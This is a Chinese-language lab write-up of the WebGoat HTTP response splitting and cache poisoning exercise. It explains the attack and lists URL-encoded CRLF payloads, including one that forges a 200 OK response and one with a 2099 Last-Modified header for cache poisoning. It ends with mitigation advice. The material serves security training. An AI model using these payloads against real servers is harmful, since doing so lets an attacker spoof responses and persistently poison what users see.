题目:This lesson has two stages. Stage 1 teaches you how to do HTTP Splitting attacks while stage 2 builds on that to teach you how to elevate HTTP Splitting to Cache Poisoning.Enter a language for the system to search by. You will notice that the application is redirecting your request to another resource on the server. You should be able to use the CR (%0d) and LF (%0a) to exploit the attack. Your exercise should be to force the server to send a 200 OK. If the screen changed as an effect to your attack, just go back to the homepage and after stage 2 is exploited successfully you will find the green check in the left menu.
这节课分为两个步骤,第一个步骤教你如何进行Http拆分攻击,第二个步骤教你如何利用Http拆分结合缓存毒化。输入一种语言,你会发现应用重定向你的请求至服务器中的另一个资源。你应当能够使用换行和回车来实现这次攻击。你的练习需要使服务器返回200 OK的信息。若你的攻击奏效使屏幕发生改变,返回主页面即可。步骤二也完成之后,你会发现左边菜单栏中出现绿色对勾的符号。
一、原理
攻击者在向 Web 服务器正常输入的请求中加入恶意代码,受到攻击的应用不会检查CR(回车,也可表示为%0d或\r)和LF(换行,也可表示为%0a或\n)。这些字符不仅使攻击者控制应用程序打算发送的响应头和响应体,而且还使他们能够完全在其控制下创造更多的答复。**HTTP拆分攻击配合缓存污染一起使用,能使效果达到最大化。**缓存污染攻击的目标是使缓存污染,欺骗缓存,使其相信使用HTTP拆分劫持的页面是一个很正常的页面,是一个服务器的副本。
二、基础知识

(一)HTTP通信机制

HyperText Transfer Protocol,一套计算机通过网络进行通信的规则。Http客户端(Web浏览器)从HTTP服务器请求消息和服务。Http目前协议版本是1.1,是一种无状态(Web浏览器与Web服务器之间不需要建立持久的连接,客户端向服务器端发出请求request,Web服务器返回响应response,连接就被关闭了,在服务器端不保留连接的有关信息)的协议。

(二)HTTP遵循请求Request应答Response模型

Web浏览器向Web服务器发送请求,Web服务器处理请求并返回适当的应答。

大多数Web浏览器都拥有一系列的可配置的辅助应用程序,它们告诉浏览器应该如何处理Web服务器发送过来的各种内容类型。
HTTP通信机制是在一次完整的HTTP通信过程中,Web浏览器与Web服务器之间将完成7个步骤:
(1) 建立TCP连接
在HTTP工作开始之前,Web浏览器首先要通过网络与Web服务器建立连接,该连接是通过TCP来完成的,该协议与IP协议共同构建Internet,即著名的TCP/IP协议族,因此Internet又被称作是TCP/IP网络。HTTP是比TCP更高层次的应用层协议,根据规则,只有低层协议建立之后才能,才能进行更层协议的连接,因此,首先要建立TCP连接,一般TCP连接的端口号是80。
(2) Web浏览器向Web服务器发送请求命令
一旦建立了TCP连接,Web浏览器就会向Web服务器发送请求命令
例如:GET/sample/hello.jsp HTTP/1.1
(3) Web浏览器发送请求头信息
浏览器发送其请求命令之后,还要以头信息的形式向Web服务器发送一些别的信息,之后浏览器发送了一空白行来通知服务器,它已经结束了该头信息的发送。
(4) Web服务器应答
客户机向服务器发出请求后,服务器会向客户机回送应答,
HTTP/1.1 200 OK
应答的第一部分是协议的版本号和应答状态码
(5) Web服务器发送应答头信息
正如客户端会随同请求发送关于自身的信息一样,服务器也会随同应答向用户发送关于它自己的数据及被请求的文档
(6) Web服务器向浏览器发送数据
Web服务器向浏览器发送头信息后,它会发送一个空白行来表示头信息的发送到此为结束,接着,它就以Content-Type应答头信息所描述的格式发送用户所请求的实际数据
(7) Web服务器关闭TCP连接
一般情况下,一旦Web服务器向浏览器发送了请求数据,它就要关闭TCP连接,然后如果浏览器或者服务器在其头信息加入了这行代码Connection:keep-alive,TCP连接在发送后将仍然保持打开状态,于是,浏览器可以继续通过相同的连接发送请求。保持连接节省了为每个请求建立新连接所需的时间,还节约了网络带宽。

三、HTTPSplitting
1.在记事本中写下如下URL
china
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 47

you have been hitted

2.利用url转义将其转换成如下字符串:
china%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContentLength:%2047%0d%0a%0d%0ayou have been hitted
3.利用burpsuite抓取的数据包
POST请求
WebGoat(一)——HTTPSplitting(Http拆分攻击)
request响应
WebGoat(一)——HTTPSplitting(Http拆分攻击)
界面效果
WebGoat(一)——HTTPSplitting(Http拆分攻击)
四、Cache Poisoning
在构造的请求中加入Last-modify字段,并设置一个将来的值比如2099年1月1日。意思是服务器告诉浏览器,这个网页最后一次修改是在2099年1月1日。如果浏览器不清除缓存,下一次请求这个页面会加上if-modify-since字段,值是2099年1月1日,也就是说浏览器会问服务器,这个网页在2099年1月1日之后修改过嘛?当然服务器是人的话肯定会对这个问法莫名其妙,怎么会传过来一个未来的值?但是因为是程序,服务器会比对最后一次修改时间和传过来的时间,发现传过来的时间较新,就会回送304即Not Modified,表示这个网页没有被修改过。浏览器接受到了这个响应会从本地缓存读取网页,当然是之前注入的错误网页。如果浏览器不清除缓存,再也别想读取到正确的网页信息了。这就是HTTP的Cache Poisoning(缓存毒化)。

1.在记事本中写下如下URL:
china
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2099 14:50:18 GMT
Content-Length: 47

you have been hitted

2.将url转义成字符串:

china%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202099%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0ayou have been hitted
3.利用burpsuite抓取的数据包
POST请求
WebGoat(一)——HTTPSplitting(Http拆分攻击)
request响应
WebGoat(一)——HTTPSplitting(Http拆分攻击)
界面效果WebGoat(一)——HTTPSplitting(Http拆分攻击)

防范HTTP拆分攻击,可以限制用户输入的CR和LF,或者对CR和LF字符正确编码后再输出,以防止注入自定义HTTP头;也可以删除参数中的回车,换行,引号等特殊字符。

参考

相关文章: